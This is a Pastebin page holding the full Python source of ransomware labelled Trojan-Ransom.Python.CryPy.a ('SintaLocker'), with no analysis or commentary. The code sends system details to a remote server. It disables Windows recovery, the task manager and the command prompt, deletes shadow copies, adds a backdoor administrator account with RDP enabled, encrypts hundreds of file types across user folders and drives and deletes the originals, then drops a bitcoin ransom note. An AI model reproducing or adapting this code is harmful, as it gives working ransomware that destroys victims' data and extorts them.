FlyFar

Trojan-Ransom.Python.CryPy.a - Source Code

Jun 20th, 2023
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.53 KB | Cybersecurity | 0 0
  1. import os, fnmatch, struct, random, string, base64, platform, sys, time, socket, json, urllib, ctypes, urllib2
  2. import SintaRegistery
  3. import SintaChangeWallpaper
  4. from Crypto import Random
  5. from Crypto.Cipher import AES
  6. rmsbrand = 'SintaLocker'
  7. newextns = 'sinta'
  8. encfolder = '__SINTA I LOVE YOU__'
  9. email_con = 'sinpayy@yandex.com'
  10. btc_address = '1NEdFjQN74ZKszVebFum8KFJNd9oayHFT1'
  11. userhome = os.path.expanduser('~')
  12. my_server = 'http://www.dobrebaseny.pl/js/lib/srv/'
  13. wallpaper_link = 'http://wallpaperrs.com/uploads/girls/thumbs/mood-ravishing-hd-wallpaper-142943312215.jpg'
  14. victim_info = base64.b64encode(str(platform.uname()))
  15. configurl = my_server + 'api.php?info=' + victim_info + '&ip=' + base64.b64encode(socket.gethostbyname(socket.gethostname()))
  16. glob_config = None
  17. try:
  18.     glob_config = json.loads(urllib.urlopen(configurl).read())
  19.     if set(glob_config.keys()) != set(['MRU_ID', 'MRU_UDP', 'MRU_PDP']):
  20.         raise Exception('0x00001')
  21. except IOError:
  22.     time.sleep(1)
  23.  
  24. victim_id = glob_config[u'MRU_ID']
  25. victim_r = glob_config[u'MRU_UDP']
  26. victim_s = glob_config[u'MRU_PDP']
  27. try:
  28.     os.system('bcdedit /set {default} recoveryenabled No')
  29.     os.system('bcdedit /set {default} bootstatuspolicy ignoreallfailures')
  30.     os.system('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v DisableRegistryTools /d 1 /f')
  31.     os.system('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v DisableTaskMgr /d 1 /f')
  32.     os.system('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v DisableCMD /d 1 /f')
  33.     os.system('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f')
  34. except WindowsError:
  35.     pass
  36.  
  37. def setWallpaper(imageUrl):
  38.     try:
  39.         wallpaper = SintaChangeWallpaper.ChangeWallpaper()
  40.         wallpaper.downloadWallpaper(imageUrl)
  41.     except:
  42.         pass
  43.  
  44.  
  45. def persistance():
  46.     try:
  47.         SintaRegistery.addRegistery(os.path.realpath(__file__))
  48.     except:
  49.         pass
  50.  
  51.  
  52. def destroy_shadow_copy():
  53.     try:
  54.         os.system('vssadmin Delete Shadows /All /Quiet')
  55.     except:
  56.         pass
  57.  
  58.  
  59. def create_remote_desktop():
  60.     try:
  61.         os.system('REG ADD HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f')
  62.         os.system('net user ' + victim_r + ' ' + victim_s + ' /add')
  63.         os.system('net localgroup administrators ' + victim_r + ' /add')
  64.     except:
  65.         pass
  66.  
  67.  
  68. def write_instruction(dir, ext):
  69.     try:
  70.         files = open(dir + '\\README_FOR_DECRYPT.' + ext, 'w')
  71.         files.write('! ! ! OWNED BY ' + rmsbrand + ' ! ! !\r\n\r\nAll your files are encrypted by ' + rmsbrand + ' with strong chiphers.\r\nDecrypting of your files is only possible with the decryption program, which is on our secret server.\r\nAll encrypted files are moved to ' + encfolder + ' directory and renamed to unique random name.\r\nTo receive your decryption program send $100 USD Bitcoin to address: ' + btc_address + '\r\nContact us after you send the money: ' + email_con + '\r\n\r\nJust inform your identification ID and we will give you next instruction.\r\nYour personal identification ID: ' + victim_id + '\r\n\r\nAs your partner,\r\n\r\n' + rmsbrand + '')
  72.     except:
  73.         pass
  74.  
  75.  
  76. def delete_file(filename):
  77.     try:
  78.         os.remove(filename)
  79.     except:
  80.         pass
  81.  
  82.  
  83. def find_files(root_dir):
  84.     write_instruction(root_dir, 'md')
  85.     extentions = ['*.txt',
  86.      '*.exe',
  87.      '*.php',
  88.      '*.pl',
  89.      '*.7z',
  90.      '*.rar',
  91.      '*.m4a',
  92.      '*.wma',
  93.      '*.avi',
  94.      '*.wmv',
  95.      '*.csv',
  96.      '*.d3dbsp',
  97.      '*.sc2save',
  98.      '*.sie',
  99.      '*.sum',
  100.      '*.ibank',
  101.      '*.t13',
  102.      '*.t12',
  103.      '*.qdf',
  104.      '*.gdb',
  105.      '*.tax',
  106.      '*.pkpass',
  107.      '*.bc6',
  108.      '*.bc7',
  109.      '*.bkp',
  110.      '*.qic',
  111.      '*.bkf',
  112.      '*.sidn',
  113.      '*.sidd',
  114.      '*.mddata',
  115.      '*.itl',
  116.      '*.itdb',
  117.      '*.icxs',
  118.      '*.hvpl',
  119.      '*.hplg',
  120.      '*.hkdb',
  121.      '*.mdbackup',
  122.      '*.syncdb',
  123.      '*.gho',
  124.      '*.cas',
  125.      '*.svg',
  126.      '*.map',
  127.      '*.wmo',
  128.      '*.itm',
  129.      '*.sb',
  130.      '*.fos',
  131.      '*.mcgame',
  132.      '*.vdf',
  133.      '*.ztmp',
  134.      '*.sis',
  135.      '*.sid',
  136.      '*.ncf',
  137.      '*.menu',
  138.      '*.layout',
  139.      '*.dmp',
  140.      '*.blob',
  141.      '*.esm',
  142.      '*.001',
  143.      '*.vtf',
  144.      '*.dazip',
  145.      '*.fpk',
  146.      '*.mlx',
  147.      '*.kf',
  148.      '*.iwd',
  149.      '*.vpk',
  150.      '*.tor',
  151.      '*.psk',
  152.      '*.rim',
  153.      '*.w3x',
  154.      '*.fsh',
  155.      '*.ntl',
  156.      '*.arch00',
  157.      '*.lvl',
  158.      '*.snx',
  159.      '*.cfr',
  160.      '*.ff',
  161.      '*.vpp_pc',
  162.      '*.lrf',
  163.      '*.m2',
  164.      '*.mcmeta',
  165.      '*.vfs0',
  166.      '*.mpqge',
  167.      '*.kdb',
  168.      '*.db0',
  169.      '*.mp3',
  170.      '*.upx',
  171.      '*.rofl',
  172.      '*.hkx',
  173.      '*.bar',
  174.      '*.upk',
  175.      '*.das',
  176.      '*.iwi',
  177.      '*.litemod',
  178.      '*.asset',
  179.      '*.forge',
  180.      '*.ltx',
  181.      '*.bsa',
  182.      '*.apk',
  183.      '*.re4',
  184.      '*.sav',
  185.      '*.lbf',
  186.      '*.slm',
  187.      '*.bik',
  188.      '*.epk',
  189.      '*.rgss3a',
  190.      '*.pak',
  191.      '*.big',
  192.      '*.unity3d',
  193.      '*.wotreplay',
  194.      '*.xxx',
  195.      '*.desc',
  196.      '*.py',
  197.      '*.m3u',
  198.      '*.flv',
  199.      '*.js',
  200.      '*.css',
  201.      '*.rb',
  202.      '*.png',
  203.      '*.jpeg',
  204.      '*.p7c',
  205.      '*.p7b',
  206.      '*.p12',
  207.      '*.pfx',
  208.      '*.pem',
  209.      '*.crt',
  210.      '*.cer',
  211.      '*.der',
  212.      '*.x3f',
  213.      '*.srw',
  214.      '*.pef',
  215.      '*.ptx',
  216.      '*.r3d',
  217.      '*.rw2',
  218.      '*.rwl',
  219.      '*.raw',
  220.      '*.raf',
  221.      '*.orf',
  222.      '*.nrw',
  223.      '*.mrwref',
  224.      '*.mef',
  225.      '*.erf',
  226.      '*.kdc',
  227.      '*.dcr',
  228.      '*.cr2',
  229.      '*.crw',
  230.      '*.bay',
  231.      '*.sr2',
  232.      '*.srf',
  233.      '*.arw',
  234.      '*.3fr',
  235.      '*.dng',
  236.      '*.jpeg',
  237.      '*.jpg',
  238.      '*.cdr',
  239.      '*.indd',
  240.      '*.ai',
  241.      '*.eps',
  242.      '*.pdf',
  243.      '*.pdd',
  244.      '*.psd',
  245.      '*.dbfv',
  246.      '*.mdf',
  247.      '*.wb2',
  248.      '*.rtf',
  249.      '*.wpd',
  250.      '*.dxg',
  251.      '*.xf',
  252.      '*.dwg',
  253.      '*.pst',
  254.      '*.accdb',
  255.      '*.mdb',
  256.      '*.pptm',
  257.      '*.pptx',
  258.      '*.ppt',
  259.      '*.xlk',
  260.      '*.xlsb',
  261.      '*.xlsm',
  262.      '*.xlsx',
  263.      '*.xls',
  264.      '*.wps',
  265.      '*.docm',
  266.      '*.docx',
  267.      '*.doc',
  268.      '*.odb',
  269.      '*.odc',
  270.      '*.odm',
  271.      '*.odp',
  272.      '*.ods',
  273.      '*.odt',
  274.      '*.sql',
  275.      '*.zip',
  276.      '*.tar',
  277.      '*.tar.gz',
  278.      '*.tgz',
  279.      '*.biz',
  280.      '*.ocx',
  281.      '*.html',
  282.      '*.htm',
  283.      '*.3gp',
  284.      '*.srt',
  285.      '*.cpp',
  286.      '*.mid',
  287.      '*.mkv',
  288.      '*.mov',
  289.      '*.asf',
  290.      '*.mpeg',
  291.      '*.vob',
  292.      '*.mpg',
  293.      '*.fla',
  294.      '*.swf',
  295.      '*.wav',
  296.      '*.qcow2',
  297.      '*.vdi',
  298.      '*.vmdk',
  299.      '*.vmx',
  300.      '*.gpg',
  301.      '*.aes',
  302.      '*.ARC',
  303.      '*.PAQ',
  304.      '*.tar.bz2',
  305.      '*.tbk',
  306.      '*.bak',
  307.      '*.djv',
  308.      '*.djvu',
  309.      '*.bmp',
  310.      '*.cgm',
  311.      '*.tif',
  312.      '*.tiff',
  313.      '*.NEF',
  314.      '*.cmd',
  315.      '*.class',
  316.      '*.jar',
  317.      '*.java',
  318.      '*.asp',
  319.      '*.brd',
  320.      '*.sch',
  321.      '*.dch',
  322.      '*.dip',
  323.      '*.vbs',
  324.      '*.asm',
  325.      '*.pas',
  326.      '*.ldf',
  327.      '*.ibd',
  328.      '*.MYI',
  329.      '*.MYD',
  330.      '*.frm',
  331.      '*.dbf',
  332.      '*.SQLITEDB',
  333.      '*.SQLITE3',
  334.      '*.asc',
  335.      '*.lay6',
  336.      '*.lay',
  337.      '*.ms11 (Security copy)',
  338.      '*.sldm',
  339.      '*.sldx',
  340.      '*.ppsm',
  341.      '*.ppsx',
  342.      '*.ppam',
  343.      '*.docb',
  344.      '*.mml',
  345.      '*.sxm',
  346.      '*.otg',
  347.      '*.slk',
  348.      '*.xlw',
  349.      '*.xlt',
  350.      '*.xlm',
  351.      '*.xlc',
  352.      '*.dif',
  353.      '*.stc',
  354.      '*.sxc',
  355.      '*.ots',
  356.      '*.ods',
  357.      '*.hwp',
  358.      '*.dotm',
  359.      '*.dotx',
  360.      '*.docm',
  361.      '*.DOT',
  362.      '*.max',
  363.      '*.xml',
  364.      '*.uot',
  365.      '*.stw',
  366.      '*.sxw',
  367.      '*.ott',
  368.      '*.csr',
  369.      '*.key',
  370.      'wallet.dat']
  371.     for dirpath, dirs, files in os.walk(root_dir):
  372.         if 'Windows' not in dirpath:
  373.             for basename in files:
  374.                 for ext in extentions:
  375.                     if fnmatch.fnmatch(basename, ext):
  376.                         filename = os.path.join(dirpath, basename)
  377.                         yield filename
  378.  
  379.  
  380. def make_directory(file_path):
  381.     directory = file_path + '' + encfolder
  382.     if not os.path.exists(directory):
  383.         try:
  384.             os.makedirs(directory)
  385.         except:
  386.             pass
  387.  
  388.  
  389. def text_generator(size = 6, chars = string.ascii_uppercase + string.digits):
  390.     return ''.join((random.choice(chars) for _ in range(size))) + '.' + newextns
  391.  
  392.  
  393. def generate_file(file_path, filename):
  394.     make_directory(file_path)
  395.     key = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(32) ])
  396.     newfilename = file_path + '\\' + encfolder + '\\' + text_generator(36, '1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm')
  397.     try:
  398.         encrypt_file(key, filename, newfilename)
  399.     except:
  400.         pass
  401.  
  402.  
  403. def encrypt_file(key, in_filename, newfilename, out_filename = None, chunksize = 65536, Block = 16):
  404.     if not out_filename:
  405.         out_filename = newfilename
  406.     iv = ''.join((chr(random.randint(0, 255)) for i in range(16)))
  407.     encryptor = AES.new(key, AES.MODE_CBC, iv)
  408.     filesize = os.path.getsize(in_filename)
  409.     with open(in_filename, 'rb') as infile:
  410.         with open(out_filename, 'wb') as outfile:
  411.             outfile.write(struct.pack('<Q', filesize))
  412.             outfile.write(iv)
  413.             while True:
  414.                 chunk = infile.read(chunksize)
  415.                 if len(chunk) == 0:
  416.                     break
  417.                 elif len(chunk) % 16 != 0:
  418.                     chunk += ' ' * (16 - len(chunk) % 16)
  419.                 outfile.write(encryptor.encrypt(chunk))
  420.  
  421.  
  422. listdir = (userhome + '\\Contacts\\',
  423.  userhome + '\\Documents\\',
  424.  userhome + '\\Downloads\\',
  425.  userhome + '\\Favorites\\',
  426.  userhome + '\\Links\\',
  427.  userhome + '\\My Documents\\',
  428.  userhome + '\\My Music\\',
  429.  userhome + '\\My Pictures\\',
  430.  userhome + '\\My Videos\\',
  431.  'D:\\',
  432.  'E:\\',
  433.  'F:\\',
  434.  'G:\\',
  435.  'I:\\',
  436.  'J:\\',
  437.  'K:\\',
  438.  'L:\\',
  439.  'M:\\',
  440.  'N:\\',
  441.  'O:\\',
  442.  'P:\\',
  443.  'Q:\\',
  444.  'R:\\',
  445.  'S:\\',
  446.  'T:\\',
  447.  'U:\\',
  448.  'V:\\',
  449.  'W:\\',
  450.  'X:\\',
  451.  'Y:\\',
  452.  'Z:\\')
  453. for dir_ in listdir:
  454.     for filename in find_files(dir_):
  455.         generate_file(dir_, filename)
  456.         delete_file(filename)
  457.  
  458. persistance()
  459. destroy_shadow_copy()
  460. create_remote_desktop()
  461. write_instruction(userhome + '\\Desktop\\', 'txt')
  462. os.startfile(userhome + '\\Desktop\\README_FOR_DECRYPT.txt')
  463. setWallpaper(wallpaper_link)
Add Comment
Please, Sign In to add comment